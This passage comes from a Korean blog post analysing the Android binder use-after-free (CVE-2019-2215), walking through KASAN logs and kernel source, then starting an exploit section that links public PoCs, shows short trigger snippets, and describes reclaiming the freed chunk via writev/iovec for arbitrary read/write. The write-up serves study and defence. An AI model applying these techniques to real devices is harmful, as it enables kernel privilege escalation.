+ * queue head. + */</span> + <span class="n">wait_queue_t</span> <span class="n">wait</span><span class="p">;</span> + + <span class="cm">/* The wait queue head that linked the "wait" wait queue item */</span> + <span class="n">wait_queue_head_t</span> <span class="o">*</span><span class="n">whead</span><span class="p">;</span> +<span class="p">};</span> +</code></pre></div></div> + +<p>위 과정들을 통해 만들어진 구조체는 다음과 같다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android2.png" alt="그림 2. epitem, eppoll_entry, binder_thread의 연결관계" /></p> + +<p><br /> +<br /></p> + +<p>지금까지 진행 과정을 정리하자면 다음과 같다.</p> + +<ol> + <li>binder_thread 구조체 생성</li> + <li>eventpoll구조체 생성</li> + <li>epoll_ctl → ep_insert → ep_item_poll → binder_poll 호출</li> + <li>binder_poll에서 binder_get_thread함수를 통해 새로운 binder_thread할당</li> + <li>이후 poll_wait → ep_ptable_queue_proc 함수 실행</li> + <li>epoll_entry→whead에 binder_thread.wait 대입, epoll_entry→wait에 binder_thread→wait.head 리스트 연결</li> +</ol> + +<p><br /> +<br /></p> + +<h2 id="43-free">4.3 Free</h2> + +<p>이번에는 UAF에 사용된 청크가 어떻게 해제 되었는지 살펴보기 위해 먼저 KASAN log를 살펴본다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 464.714124] c0 3033 Freed by task 3033: +[ 464.716396] [&lt;ffffff900808e5a4&gt;] save_stack_trace_tsk+0x0/0x204 +[ 464.721699] [&lt;ffffff900808e7c8&gt;] save_stack_trace+0x20/0x28 +[ 464.727678] [&lt;ffffff90082b16a4&gt;] kasan_slab_free+0xb0/0x1c0 +[ 464.733322] [&lt;ffffff90082ae214&gt;] kfree+0x8c/0x2b4 +[ 464.738952] [&lt;ffffff900940ac00&gt;] binder_thread_dec_tmpref+0x15c/0x1c0 +[ 464.743750] [&lt;ffffff900940d590&gt;] binder_thread_release+0x284/0x2e0 +[ 464.750253] [&lt;ffffff90094149e0&gt;] binder_ioctl+0x6f4/0x3664 +[ 464.756498] [&lt;ffffff90082e1364&gt;] do_vfs_ioctl+0x7f0/0xd58 +[ 464.762052] [&lt;ffffff90082e1968&gt;] SyS_ioctl+0x9c/0xc0 +[ 464.767513] [&lt;ffffff90080842b0&gt;] el0_svc_naked+0x24/0x28 + +</code></pre></div></div> + +<p>보면 SyS_ioctl에서 binder_ioctl → binder_thread_release 함수를 통해 binder_thread가 해제되었다는 것을 추측할 수 있다.</p> + +<p>poc에서 아래 코드를 통해 binder_ioctl이 호출된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//poc.c</span> +<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> +<span class="p">{</span> + <span class="p">[...]</span> + <span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">BINDER_THREAD_EXIT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><br /> +위 poc를 통해 호출되는 binder_ioctl코드를 자세히 살펴보면 다음과 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /drivers/android/binder.c</span> + +<span class="k">static</span> <span class="kt">long</span> <span class="nf">binder_ioctl</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">filp</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">cmd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_proc</span> <span class="o">*</span><span class="n">proc</span> <span class="o">=</span> <span class="n">filp</span><span class="o">-&gt;</span><span class="n">private_data</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span><span class="p">;</span> + <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="n">_IOC_SIZE</span><span class="p">(</span><span class="n">cmd</span><span class="p">);</span> + <span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">ubuf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="p">)</span><span class="n">arg</span><span class="p">;</span> + + <span class="p">...</span> + + <span class="kr">thread</span> <span class="o">=</span> <span class="n">binder_get_thread</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> + + <span class="p">...</span> + + <span class="k">case</span> <span class="n">BINDER_THREAD_EXIT</span><span class="p">:</span> + <span class="n">binder_debug</span><span class="p">(</span><span class="n">BINDER_DEBUG_THREADS</span><span class="p">,</span> <span class="s">"%d:%d exit</span><span class="se">\\</span><span class="s">n"</span><span class="p">,</span> + <span class="n">proc</span><span class="o">-&gt;</span><span class="n">pid</span><span class="p">,</span> <span class="kr">thread</span><span class="o">-&gt;</span><span class="n">pid</span><span class="p">);</span> + <span class="n">binder_thread_release</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="kr">thread</span><span class="p">);</span> + <span class="kr">thread</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="k">break</span><span class="p">;</span> + +</code></pre></div></div> + +<p>binder_proc에서 binder_thread를 얻은 다음, 이를 binder_thread_release함수에 인자로 넘겨준다.</p> + +<p><br /> +<br /></p> + +<p>binder_thread_release → binder_thread_dec_tmpref → binder_free_thread 순으로 함수가 호출된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /drivers/android/binder.c</span> +<span class="k">static</span> <span class="kt">int</span> <span class="nf">binder_thread_release</span><span class="p">(</span><span class="k">struct</span> <span class="n">binder_proc</span> <span class="o">*</span><span class="n">proc</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span><span class="p">)</span> +<span class="p">{</span> + + <span class="p">[...]</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">send_reply</span><span class="p">)</span> + <span class="n">binder_send_failed_reply</span><span class="p">(</span><span class="n">send_reply</span><span class="p">,</span> <span class="n">BR_DEAD_REPLY</span><span class="p">);</span> + <span class="n">binder_release_work</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="o">&amp;</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">todo</span><span class="p">);</span> + <span class="n">binder_thread_dec_tmpref</span><span class="p">(</span><span class="kr">thread</span><span class="p">);</span> + <span class="k">return</span> <span class="n">active_transactions</span><span class="p">;</span> +<span class="p">}</span> + +<span class="c1">// /drivers/android/binder.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">binder_thread_dec_tmpref</span><span class="p">(</span><span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span><span class="p">)</span> +<span class="p">{</span> + <span class="cm">/* + * atomic is used to protect the counter value while + * it cannot reach zero or thread-&gt;is_dead is false + */</span> + <span class="n">binder_inner_proc_lock</span><span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">proc</span><span class="p">);</span> + <span class="n">atomic_dec</span><span class="p">(</span><span class="o">&amp;</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">tmp_ref</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">is_dead</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">atomic_read</span><span class="p">(</span><span class="o">&amp;</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">tmp_ref</span><span class="p">))</span> <span class="p">{</span> + <span class="n">binder_inner_proc_unlock</span><span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">proc</span><span class="p">);</span> + <span class="n">binder_free_thread</span><span class="p">(</span><span class="kr">thread</span><span class="p">);</span> + <span class="k">return</span><span class="p">;</span> + <span class="p">}</span> + <span class="n">binder_inner_proc_unlock</span><span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">proc</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /drivers/android/binder.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">binder_free_thread</span><span class="p">(</span><span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span><span class="p">)</span> +<span class="p">{</span> + <span class="p">...</span> + <span class="n">kfree</span><span class="p">(</span><span class="kr">thread</span><span class="p">);</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>결국 마지막 binder_free_thread함수에서 thread가 해제된다.</p> + +<p><br /></p> + +<p>여기서 문제는 이전 단계에서 eppoll_entry→whead와 eppoll_entry-&gt;wait 가 binder_thread→wait와 circular doubly linked list로 연결되었는데, epoll_entry에 연결된 list에 대한 정리가 여기서 진행되지 않는다. 따라서 여전히 eppoll_entry에서 해제된 thread 청크에 접근이 가능한 상태로 남게된다.</p> + +<ul> + <li>그림 2 참고</li> +</ul> + +<p><br /></p> + +<h2 id="44-use">4.4 Use</h2> + +<p>해제한 청크를 사용하는 부분을 확인해보기 위해 KASAN log를 보면 아래와 같다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 464.545928] c0 3033 [&lt;ffffff900808f0e8&gt;] dump_backtrace+0x0/0x34c +[ 464.549328] c0 3033 [&lt;ffffff900808f574&gt;] show_stack+0x1c/0x24 +[ 464.555411] c0 3033 [&lt;ffffff900858bcc8&gt;] dump_stack+0xb8/0xe8 +[ 464.561319] c0 3033 [&lt;ffffff90082b1ecc&gt;] print_address_description+0x94/0x334 +[ 464.567219] c0 3033 [&lt;ffffff90082b23f0&gt;] kasan_report+0x1f8/0x340 +[ 464.574501] c0 3033 [&lt;ffffff90082b0740&gt;] __asan_store8+0x74/0x90 +[ 464.580753] c0 3033 [&lt;ffffff9008139fc0&gt;] remove_wait_queue+0x48/0x90 +[ 464.587125] c0 3033 [&lt;ffffff9008336874&gt;] ep_unregister_pollwait.isra.8+0xa8/0xec +[ 464.593617] c0 3033 [&lt;ffffff9008337744&gt;] ep_free+0x74/0x11c +[ 464.601149] c0 3033 [&lt;ffffff9008337820&gt;] ep_eventpoll_release+0x34/0x48 +[ 464.606988] c0 3033 [&lt;ffffff90082c589c&gt;] __fput+0x10c/0x32c +[ 464.613724] c0 3033 [&lt;ffffff90082c5b38&gt;] ____fput+0x18/0x20 +[ 464.619463] c0 3033 [&lt;ffffff90080eefdc&gt;] task_work_run+0xd0/0x128 +[ 464.625193] c0 3033 [&lt;ffffff90080bd890&gt;] do_exit+0x3e4/0x1198 +[ 464.631260] c0 3033 [&lt;ffffff90080c0ff8&gt;] do_group_exit+0x7c/0x128 +[ 464.637167] c0 3033 [&lt;ffffff90080c10c4&gt;] __wake_up_parent+0x0/0x44 +[ 464.643421] c0 3033 [&lt;ffffff90080842b0&gt;] el0_svc_naked+0x24/0x28 + +</code></pre></div></div> + +<p>보면 do_exit과정에서 힙청크를 정리하는 과정에 ep_eventpoll_release함수가 실행되었고 ep_free를 통해 epoll에 연결된 wait queue를 제거하다가 발생했다는 것을 어느 정도 유추할 수 있는데 자세히 분석해본다.</p> + +<p><br /></p> + +<h3 id="441-ep_unregister_pollwait">4.4.1 ep_unregister_pollwait</h3> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kt">int</span> <span class="nf">ep_eventpoll_release</span><span class="p">(</span><span class="k">struct</span> <span class="n">inode</span> <span class="o">*</span><span class="n">inode</span><span class="p">,</span> <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span> <span class="o">=</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">private_data</span><span class="p">;</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">ep</span><span class="p">)</span> + <span class="n">ep_free</span><span class="p">(</span><span class="n">ep</span><span class="p">);</span> + + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> +<span class="p">}</span> + +<span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">ep_free</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">)</span> +<span class="p">{</span> + <span class="c1">// [...]</span> + <span class="k">for</span> <span class="p">(</span><span class="n">rbp</span> <span class="o">=</span> <span class="n">rb_first_cached</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">rbr</span><span class="p">);</span> <span class="n">rbp</span><span class="p">;</span> <span class="n">rbp</span> <span class="o">=</span> <span class="n">rb_next</span><span class="p">(</span><span class="n">rbp</span><span class="p">))</span> <span class="p">{</span> + <span class="n">epi</span> <span class="o">=</span> <span class="n">rb_entry</span><span class="p">(</span><span class="n">rbp</span><span class="p">,</span> <span class="k">struct</span> <span class="n">epitem</span><span class="p">,</span> <span class="n">rbn</span><span class="p">);</span> + + <span class="n">ep_unregister_pollwait</span><span class="p">(</span><span class="n">ep</span><span class="p">,</span> <span class="n">epi</span><span class="p">);</span> + <span class="n">cond_resched</span><span class="p">();</span> + <span class="p">}</span> + <span class="c1">// [...]</span> + +<span class="p">}</span> + +<span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">ep_unregister_pollwait</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">,</span> <span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">epi</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">lsthead</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">pwqlist</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">eppoll_entry</span> <span class="o">*</span><span class="n">pwq</span><span class="p">;</span> + <span class="k">while</span> <span class="p">(</span><span class="o">!</span><span class="n">list_empty</span><span class="p">(</span><span class="n">lsthead</span><span class="p">))</span> <span class="p">{</span> + <span class="n">pwq</span> <span class="o">=</span> <span class="n">list_first_entry</span><span class="p">(</span><span class="n">lsthead</span><span class="p">,</span> <span class="k">struct</span> <span class="n">eppoll_entry</span><span class="p">,</span> <span class="n">llink</span><span class="p">);</span> + <span class="n">list_del</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">llink</span><span class="p">);</span> + <span class="n">ep_remove_wait_queue</span><span class="p">(</span><span class="n">pwq</span><span class="p">);</span> + <span class="n">kmem_cache_free</span><span class="p">(</span><span class="n">pwq_cache</span><span class="p">,</span> <span class="n">pwq</span><span class="p">);</span> + <span class="p">}</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">ep_eventpoll_release</code> → <code class="language-plaintext highlighter-rouge">ep_free</code> -&gt; <code class="language-plaintext highlighter-rouge">ep_unregister_pollwait</code> 순서대로 호출된다.</p> + +<p>이때 pwq→wait과 pwq→whead가 freed binder_thread→wait과 연결되어 있다는 것을 기억하면서 ep_remove_wait_queue로 더 들어가보면 다음과 같다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// /fs/eventpoll.c +static void ep_remove_wait_queue(struct eppoll_entry *pwq) +{ + wait_queue_head_t *whead; + rcu_read_lock(); + // [...] + whead = smp_load_acquire(&amp;pwq-&gt;whead); + if (whead) + remove_wait_queue(whead, &amp;pwq-&gt;wait); + rcu_read_unlock(); +} + +</code></pre></div></div> + +<p>위 코드를 보면 smp_load_acquire을 통해 pwq-&gt;whead를 얻어와서 remove_wait_queue함수로 전달하는 것을 볼 수 있다. whead와 pwq→wait 모두 binder_thread.wait과 연결되어있다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android3.png" alt="그림 3. whead와 pwq-&gt;wait이 binder_thread.wait과 연결되어 있는 모습" /></p> + +<p><br /></p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> + +<span class="kt">void</span> <span class="nf">remove_wait_queue</span><span class="p">(</span><span class="n">wait_queue_head_t</span> <span class="o">*</span><span class="n">q</span><span class="p">,</span> <span class="n">wait_queue_t</span> <span class="o">*</span><span class="n">wait</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">flags</span><span class="p">;</span> + + <span class="n">spin_lock_irqsave</span><span class="p">(</span><span class="o">&amp;</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> + <span class="n">__remove_wait_queue</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">wait</span><span class="p">);</span> + <span class="n">spin_unlock_irqrestore</span><span class="p">(</span><span class="o">&amp;</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> +<span class="p">}</span> + +<span class="n">__remove_wait_queue</span><span class="p">(</span><span class="n">wait_queue_head_t</span> <span class="o">*</span><span class="n">head</span><span class="p">,</span> <span class="n">wait_queue_t</span> <span class="o">*</span><span class="n">old</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">list_del</span><span class="p">(</span><span class="o">&amp;</span><span class="n">old</span><span class="o">-&gt;</span><span class="n">task_list</span><span class="p">);</span> +<span class="p">}</span> + +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">list_del</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">entry</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">__list_del_entry</span><span class="p">(</span><span class="n">entry</span><span class="p">);</span> + <span class="p">...</span> +<span class="p">}</span> + +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">__list_del_entry</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">entry</span><span class="p">)</span> +<span class="p">{</span> + <span class="p">...</span> + <span class="n">__list_del</span><span class="p">(</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">prev</span><span class="p">,</span> <span class="n">entry</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">);</span> +<span class="p">}</span> + +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">__list_del</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span> <span class="n">prev</span><span class="p">,</span> <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span> <span class="n">next</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">next</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">prev</span><span class="p">;</span> + <span class="n">WRITE_ONCE</span><span class="p">(</span><span class="n">prev</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">,</span> <span class="n">next</span><span class="p">);</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>위 함수들을 거쳐서 pwq→wait의 list를 제거하는 과정을 거치는데, circular double linked list를 해제하는 과정이다.</p> + +<p>위 과정을 거쳐 eppoll_entry에 연결된 circular double linked list를 제거하면 아래 사진과 같이 자기 자신을 가리키는 포인터가 entry→prev와 entry→next에 저장된다</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android4.png" alt="그림 4. circular doubly linked list 해제에 의하여 자기 자신을 가리키는 binder_thread" /></p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android5.png" alt="그림 5. 실제 메모리에서 binder_thread.wait의 prev와 next가 자기 자신을 가리키는 모습 (0xffff88801a0790a8이 head)" /></p> + +<p><br /> +<br /></p> + +<h1 id="5-exploit">5. Exploit</h1> + +<p>아래에서 언급되는 exploit code는 아래 링크의 코드를 사용했다</p> + +<ul> + <li><a href="https://github.com/chompie1337/s8_2019_2215_poc/tree/master/poc">https://github.com/chompie1337/s8_2019_2215_poc/tree/master/poc</a></li> + <li><a href="https://github.com/c3r34lk1ll3r/CVE-2019-2215">https://github.com/c3r34lk1ll3r/CVE-2019-2215</a></li> +</ul> + +<p><br /></p> + +<h2 id="51-improve-vulnerability">5.1 Improve Vulnerability</h2> + +<p>앞서 찾은 취약점을 요약하면 아래와 같다.</p> + +<ol> + <li>binder_thread→wait은 epoll_ctl을 통해 eppoll_entry→wait, eppoll_entry→whead에 연결된다.</li> + <li>ioctl을 통해 binder_thread를 해제할 수 있다.</li> + <li>eppoll_entry→wait, epoll_entry→whead에서는 binder_thread를 여전히 가리키고 있다.</li> + <li> + <p>exit단계에서 ep_remove함수가 실행되고 epoll_entry→wait circular double linked list를 해제하는 과정에서 UAF가 발생한다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /fs/eventpoll.c</span> + <span class="n">SYSCALL_DEFINE4</span><span class="p">(</span><span class="n">epoll_ctl</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">epfd</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">op</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">epoll_event</span> <span class="n">__user</span> <span class="o">*</span><span class="p">,</span> <span class="n">event</span><span class="p">)</span> + <span class="p">{</span> + <span class="c1">//[...]</span> + <span class="k">switch</span> <span class="p">(</span><span class="n">op</span><span class="p">)</span> <span class="p">{</span> + <span class="c1">//[...]</span> + <span class="k">case</span> <span class="n">EPOLL_CTL_DEL</span><span class="p">:</span> + <span class="k">if</span> <span class="p">(</span><span class="n">epi</span><span class="p">)</span> + <span class="n">error</span> <span class="o">=</span> <span class="n">ep_remove</span><span class="p">(</span><span class="n">ep</span><span class="p">,</span> <span class="n">epi</span><span class="p">);</span> + <span class="k">else</span> + <span class="n">error</span> <span class="o">=</span> <span class="o">-</span><span class="n">ENOENT</span><span class="p">;</span> + <span class="k">break</span><span class="p">;</span> + <span class="c1">//[...]</span> + <span class="p">}</span> +</code></pre></div> </div> + + <p>exit단계에서 호출된 <code class="language-plaintext highlighter-rouge">ep_remove</code> 함수는 epoll_ctl의 <code class="language-plaintext highlighter-rouge">EPOLL_CTL_DEL</code> 옵션을 통해 호출이 따로 가능하다. 따라서 아래와 같이 호출한다면 UAF가 동일하게 발생할 수 있다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">epoll_ctl</span><span class="p">(</span><span class="n">iEpFd</span><span class="p">,</span> <span class="n">EPOLL_CTL_DEL</span><span class="p">,</span> <span class="n">iBinderFd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">epoll_ev</span><span class="p">)</span> +</code></pre></div> </div> + </li> +</ol> + +<p><br /></p> + +<p>이 챕터에서는 binder_thread를 어떤 객체로 어떻게 덮을 것이고, 이를 통해 어떻게 Arbitrary Read/Write primitive를 얻을 것인지 살펴본다.</p> + +<p><br /></p> + +<h3 id="511-allocate-iovec-with-writev">5.1.1 Allocate iovec with writev</h3> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//poc.c line 16</span> + <span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">BINDER_THREAD_EXIT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> +</code></pre></div></div> + +<p>위 코드에 의해 해제된 binder_thread는 408 크기이다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android6.png" alt="그림 6. binder_thread 크기" /></p> + +<p><br /> +<br /></p> + +<p>해제된 chunk는 slub의 kmalloc-512에 들어가게 되고, 우리가 이 chunk를 다시 사용하기 위해서는 kmalloc-512에 해당하는 크기의 chunk를 할당 받아야 한다.</p> + +<p>이를 위하여 이 exploit에서는 iovec 을 이용한다. iovec은 writev, readv 함수에서 일반적인 buffer 대신에 사용할 수 있도록 하는 구조체이다.</p> + +<p><br /> +<br /></p> + +<p>iovec 구조체는 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">iovec</span> +<span class="p">{</span> + <span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">iov_base</span><span class="p">;</span> <span class="cm">/* BSD uses caddr_t (1003.1g requires void *) */</span> + <span class="n">__kernel_size_t</span> <span class="n">iov_len</span><span class="p">;</span> <span class="cm">/* Must be size_t (1003.1g) */</span> +<span class="p">};</span> +</code></pre></div></div> + +<p>iov_base는 전송할 데이터의 시작 주소를 가리키고, iov_len은 iov_base를 기준으로 전송하고자 하는 바이트 수이다. 이 구조체가 실제로 커널에서는 어떻게 커널 힙으로 할당되는지 알기 위해서, writev함수의 내부 코드를 살펴봐야 한다.</p> + +<p><br /> +<br /></p> + +<p>우리가 exploit에서 사용할 writev함수를 살펴보면 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/read_write.c</span> +<span class="n">SYSCALL_DEFINE3</span><span class="p">(</span><span class="n">writev</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">__user</span> <span class="o">*</span><span class="p">,</span> <span class="n">vec</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="kt">long</span><span class="p">,</span> <span class="n">vlen</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">fd</span> <span class="n">f</span> <span class="o">=</span> <span class="n">fdget_pos</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span> + <span class="kt">ssize_t</span> <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="n">EBADF</span><span class="p">;</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">file</span><span class="p">)</span> <span class="p">{</span> + <span class="n">loff_t</span> <span class="n">pos</span> <span class="o">=</span> <span class="n">file_pos_read</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">file</span><span class="p">);</span> + <span class="n">ret</span> <span class="o">=</span> <span class="n">vfs_writev</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">file</span><span class="p">,</span> <span class="n">vec</span><span class="p">,</span> <span class="n">vlen</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pos</span><span class="p">);</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + + <span class="c1">//[...]</span> + + <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> +<span class="p">}</span> + +<span class="c1">// /fs/read_write.c</span> +<span class="kt">ssize_t</span> <span class="nf">vfs_writev</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">__user</span> <span class="o">*</span><span class="n">vec</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">vlen</span><span class="p">,</span> <span class="n">loff_t</span> <span class="o">*</span><span class="n">pos</span><span class="p">)</span> +<span class="p">{</span> + <span class="c1">//[...]</span> + + <span class="k">return</span> <span class="n">do_readv_writev</span><span class="p">(</span><span class="n">WRITE</span><span class="p">,</span> <span class="n">file</span><span class="p">,</span> <span class="n">vec</span><span class="p">,</span> <span class="n">vlen</span><span class="p">,</span> <span class="n">pos</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /fs/read_write.c</span> +<span class="k">static</span> <span class="kt">ssize_t</span> <span class="nf">do_readv_writev</span><span class="p">(</span><span class="kt">int</span> <span class="n">type</span><span class="p">,</span> <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> + <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">__user</span> <span class="o">*</span> <span class="n">uvector</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">nr_segs</span><span class="p">,</span> <span class="n">loff_t</span> <span class="o">*</span><span class="n">pos</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">size_t</span> <span class="n">tot_len</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="n">iovstack</span><span class="p">[</span><span class="n">UIO_FASTIOV</span><span class="p">];</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">iov</span> <span class="o">=</span> <span class="n">iovstack</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">iov_iter</span> <span class="n">iter</span><span class="p">;</span> + <span class="kt">ssize_t</span> <span class="n">ret</span><span class="p">;</span> + <span class="n">io_fn_t</span> <span class="n">fn</span><span class="p">;</span> + <span class="n">iter_fn_t</span> <span class="n">iter_fn</span><span class="p">;</span> + + <span class="n">ret</span> <span class="o">=</span> <span class="n">import_iovec</span><span class="p">(</span><span class="n">type</span><span class="p">,</span> <span class="n">uvector</span><span class="p">,</span> <span class="n">nr_segs</span><span class="p">,</span> + <span class="n">ARRAY_SIZE</span><span class="p">(</span><span class="n">iovstack</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">iov</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">iter</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> 